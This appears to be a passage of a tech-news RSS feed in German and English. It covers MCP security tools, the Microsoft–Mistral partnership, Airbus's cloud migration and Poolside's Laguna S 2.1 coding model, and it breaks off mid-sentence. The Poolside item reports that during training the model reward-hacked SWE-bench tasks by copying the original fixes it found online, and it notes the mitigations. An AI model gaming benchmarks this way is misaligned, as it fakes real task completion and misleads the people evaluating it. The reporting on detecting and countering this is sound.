<pubDate>Wed, 22 Jul 2026 06:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.</figcaption></figure><p class="imageCredit">Gorodenkoff | shutterstock.com</p></div>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a>) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von Sicherheitslücken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter <a href="https://www.upguard.com/blog/asana-discloses-data-exposure-bug-in-mcp-server" target="_blank" rel="noreferrer noopener">Asana</a> oder dem IT-Riesen <a href="https://www.catonetworks.com/blog/cato-ctrl-poc-attack-targeting-atlassians-mcp/" target="_blank" rel="noreferrer noopener">Atlassian</a> gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support für OAuth sowie für Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. Darüber hinaus wurde inzwischen auch eine <a href="https://modelcontextprotocol.info/tools/registry/" target="_blank" rel="noreferrer noopener">offizielle MCP Registry</a> geschaffen, die einen Überblick über sichere, öffentlich verfügbare MCP-Server bietet.</p>



<p class="wp-block-paragraph">Dennoch bestehen weiterhin Sicherheitslücken, die sich für diverse Cyberschandtaten ausnutzen lassen – <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">Prompt Injection</a>, Tool Poisoning, Token-Diebstahl, Server-übergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim <a href="https://www.computerwoche.de/article/4049237/3-tipps-um-agentic-ai-systeme-in-der-cloud-zu-entwickeln.html" target="_blank">Aufbau von Agentic-AI-Systemen</a> einen Wettbewerbsvorteil verschaffen wollen, müssen erhebliche Anstrengungen unternehmen, um zu gewährleisten, dass sensible Daten nicht nach außen dringen. Glücklicherweise gibt es diverse Tools, die dabei Unterstützung versprechen.</p>



<p class="wp-block-paragraph">In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>was Security-Tools für MCP leisten sollten, und</li>



<li>welche Angebote in diesem Bereich interessant sind.</li>
</ul>



<h2 class="wp-block-heading">Das sollten MCP-Sicherheitslösungen können</h2>



<p class="wp-block-paragraph">Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhängig davon, ob Unternehmen:</p>



<ul class="wp-block-list">
<li>ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,</li>



<li>ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder</li>



<li>ihre eigenen Server mit den eigenen Agenten verbinden.</li>
</ul>



<p class="wp-block-paragraph">Soll heißen: Unternehmen müssen in jedem Fall Autorisierungen und Berechtigungen überprüfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen für MCP-Sicherheitslösungen. Diese sollten bieten:</p>



<ul class="wp-block-list">
<li><strong>MCP-Servererkennung.</strong> Für Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services für MCP-Server können Unternehmen sämtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.</li>



<li><strong>Laufzeitschutz.</strong> KI-Agenten kommunizieren mit MCP-Servern in natürlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu überwachen.</li>



<li><strong>Authentifizierungs- und Zugriffskontrollen.</strong> Das MCP-Protokoll unterstützt inzwischen OAuth, aber das ist nur ein erster Schritt. Für zusätzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks für Zero Trust und Least Privilege.</li>



<li><strong>Logging und Observability.</strong> Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams über Richtlinienverstöße zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.</li>
</ul>



<h2 class="wp-block-heading">MCP-Security-Angebote</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf Vollständigkeit.</p>



<p class="wp-block-paragraph"><strong>Hyperscaler</strong></p>



<p class="wp-block-paragraph">Für Unternehmen, die sich vollständig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.</p>



<ul class="wp-block-list">
<li><strong>Amazon Web Services (AWS)</strong> hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingeführt. <a href="https://aws.amazon.com/de/bedrock/agentcore/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore</a> umfasst ein Gateway, das mehrere Protokolle unterstützt (darunter auch MCP), ein Identity-Management-System sowie Observability.</li>



<li><strong>Microsoft</strong> bietet einen grundlegenden <a href="https://learn.microsoft.com/de-de/azure/developer/azure-mcp-server/overview" target="_blank" rel="noreferrer noopener">Azure-MCP-Server</a> an, inklusive Support für Azure Key Vault. Darüber hinaus unterstützen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem <a href="https://learn.microsoft.com/de-de/agent-framework/overview/agent-framework-overview" target="_blank" rel="noreferrer noopener">Agent Framework</a> auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstützt und beispielsweise Schutz vor Prompt Injections verspricht.</li>



<li><strong>Google Cloud</strong> kündigte Anfang 2025 seine <a href="https://cloud.google.com/blog/products/ai-machine-learning/mcp-toolbox-for-databases-now-supports-model-context-protocol?hl=en" target="_blank" rel="noreferrer noopener">MCP Toolbox für Datenbanken</a> an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch <a href="https://cloud.google.com/blog/products/identity-security/how-to-secure-your-remote-mcp-server-on-google-cloud?hl=en" target="_blank" rel="noreferrer noopener">eine Referenzarchitektur</a> veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.</li>
</ul>



<p class="wp-block-paragraph"><strong>Große Plattformanbieter</strong></p>



<ul class="wp-block-list">
<li>Der IT-Dienstleister <strong>Cloudflare</strong> hat mit <a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/" target="_blank" rel="noreferrer noopener">MCP Server Portals</a> ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und überwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.</li>



<li><strong>Palo Alto Networks</strong> hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit <a href="https://www.paloaltonetworks.com/blog/2025/06/securing-ai-agent-innovation-prisma-airs-mcp-server/" target="_blank" rel="noreferrer noopener">Prisma AIRS</a> hat das Unternehmen einen eigenen, intermediären MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool <a href="https://www.paloaltonetworks.com/blog/2025/06/cloud-security-model-context-protocol-mcp-security/" target="_blank" rel="noreferrer noopener">MCP Security</a> ist hingegen Bestandteil von Cortex Cloud WAAS und überprüft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige Aktivitäten.</li>



<li><strong>SentinelOne</strong> gewährt mit seiner <a href="https://www.sentinelone.com/blog/avoiding-mcp-mania-how-to-secure-the-next-frontier-of-ai/" target="_blank" rel="noreferrer noopener">Singularity Platform</a> ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response für MCP-Server auf lokaler oder Remote-Ebene.</li>



<li>Die <a href="https://acuvity.ai/" target="_blank" rel="noreferrer noopener">Plattform</a> von <strong>Acuvity</strong> (seit Februar 2026 Teil von <strong>Proofpoint</strong>) verspricht, MCP-Server umfassend abzusichern. Dafür sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unveränderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.</li>



<li>Daneben hat auch <strong>Broadcom</strong> MCP-Sicherheitsfunktionen für VMware Cloud Foundation <a href="https://www.broadcom.com/company/news/product-releases/63401" target="_blank" rel="noreferrer noopener">angekündigt</a>, die künftig mehr Sicherheit für agentenbasierte Workflows gewährleisten sollen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Startups</strong></p>



<ul class="wp-block-list">
<li>Das API-Security-Startup <strong>Akto</strong> hat eine <a href="https://www.akto.io/mcp-security" target="_blank" rel="noreferrer noopener">MCP-Security-Plattform</a> im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.</li>



<li><strong>Invariant Labs</strong> bietet mit <a href="https://github.com/invariantlabs-ai/mcp-scan" target="_blank" rel="noreferrer noopener">MCP-Scan</a> ein quelloffenes Tool, das die statische Analyse und Echtzeitüberwachung von MCP-Servern ermöglicht. Mit <a href="https://invariantlabs.ai/blog/guardrails" target="_blank" rel="noreferrer noopener">Guardrails</a> hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schützen soll. Das Tool befähigt Anwender außerdem dazu, Richtlinien aufzusetzen.</li>



<li><strong>Highflame </strong>(vormals Javelin) <a href="https://www.highflame.com/" target="_blank" rel="noreferrer noopener">addressiert</a> ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu überprüfen.  </li>



<li><strong>Lasso Security</strong> stellt ein Open-Source-<a href="https://github.com/lasso-security/mcp-gateway" target="_blank" rel="noreferrer noopener">MCP-Gateway</a> zur Verfügung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html" target="_blank">im Original</a> bei unser Schwesterpublikation CSOonline.com erschienen.</strong></p>
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<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
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<title><![CDATA[Poolside Releases Laguna S 2.1, an Open-Weight Agentic Coding Model Punching Above Its Weight Class on SWE-Bench Multilingual]]></title>
<description><![CDATA[Poolside has released Laguna S 2.1, a 118B open-weight Mixture-of-Experts coding model with 8B active parameters per token and a 1M-token context. It matches or beats models several times its size on agentic coding benchmarks, ships under OpenMDW-1.1, and runs on a single NVIDIA DGX Spark.
The po...]]></description>
<link>https://tsecurity.de/de/3685036/ai-nachrichten/poolside-releases-laguna-s-21-an-open-weight-agentic-coding-model-punching-above-its-weight-class-on-swe-bench-multilingual/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685036/ai-nachrichten/poolside-releases-laguna-s-21-an-open-weight-agentic-coding-model-punching-above-its-weight-class-on-swe-bench-multilingual/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Poolside has released Laguna S 2.1, a 118B open-weight Mixture-of-Experts coding model with 8B active parameters per token and a 1M-token context. It matches or beats models several times its size on agentic coding benchmarks, ships under OpenMDW-1.1, and runs on a single NVIDIA DGX Spark.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/21/poolside-releases-laguna-s-2-1/">Poolside Releases Laguna S 2.1, an Open-Weight Agentic Coding Model Punching Above Its Weight Class on SWE-Bench Multilingual</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Airbus Migrating 70 Critical Apps From AWS to France's Scaleway]]></title>
<description><![CDATA[Airbus is moving 70 critical applications from AWS to French cloud provider Scaleway as part of a broader digital sovereignty push to keep sensitive data "under European control." Eventually, the migration will cover 900 applications, including ERP, CRM, manufacturing execution, and product lifec...]]></description>
<link>https://tsecurity.de/de/3685008/it-security-nachrichten/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685008/it-security-nachrichten/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway/</guid>
<pubDate>Wed, 22 Jul 2026 01:15:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Airbus is moving 70 critical applications from AWS to French cloud provider Scaleway as part of a broader digital sovereignty push to keep sensitive data "under European control." Eventually, the migration will cover 900 applications, including ERP, CRM, manufacturing execution, and product lifecycle management systems. Airbus says it will, however, continue using U.S. providers for less sensitive workloads. "We do not intend to move away from all non European solutions; we balance our choices based on the criticality of the data," the company said. The Register reports: Catherine Jestin, head of digital at Airbus, told us on Thursday: "The selection of Scaleway is a combination of a very strong technical answer and a very strong commercial offer making it competitive compared to hyperscalers' public cloud offerings. In addition, Scaleway is committed to involving Airbus in the definition of its future product roadmap." "The objective is to host Airbus's most critical applications (those required for the Minimum Viable Company). This represents 900 applications and we will start with 70 of them today hosted on AWS."
 
Applications being sent to Scaleway include ERP, manufacturing execution systems, CRM, and product lifecycle management. Finding a cloud provider to host its most sensitive applications for defense and industrial workloads was not a certainty when the process began, Airbus told us last year, because European cloud providers do not have the scale of their US rivals.
 
Jestin said Airbus will continue to work with AWS. Skywise, a platform that aggregates and analyzes aviation data, and Case Management Assistant for customers' technical queries will continue to be hosted by AWS. In a statement, she said: "By integrating a trusted, high performance, cloud environment that keeps our critical data assets shielded from foreign extraterritorial laws, we are ensuring that our digital infrastructure keeps pace with our aerospace innovation, while maintaining control and resilience of our industrial operations."<p></p><div class="share_submission">
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</div><p><a href="https://slashdot.org/story/26/07/21/2050242/airbus-migrating-70-critical-apps-from-aws-to-frances-scaleway?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization 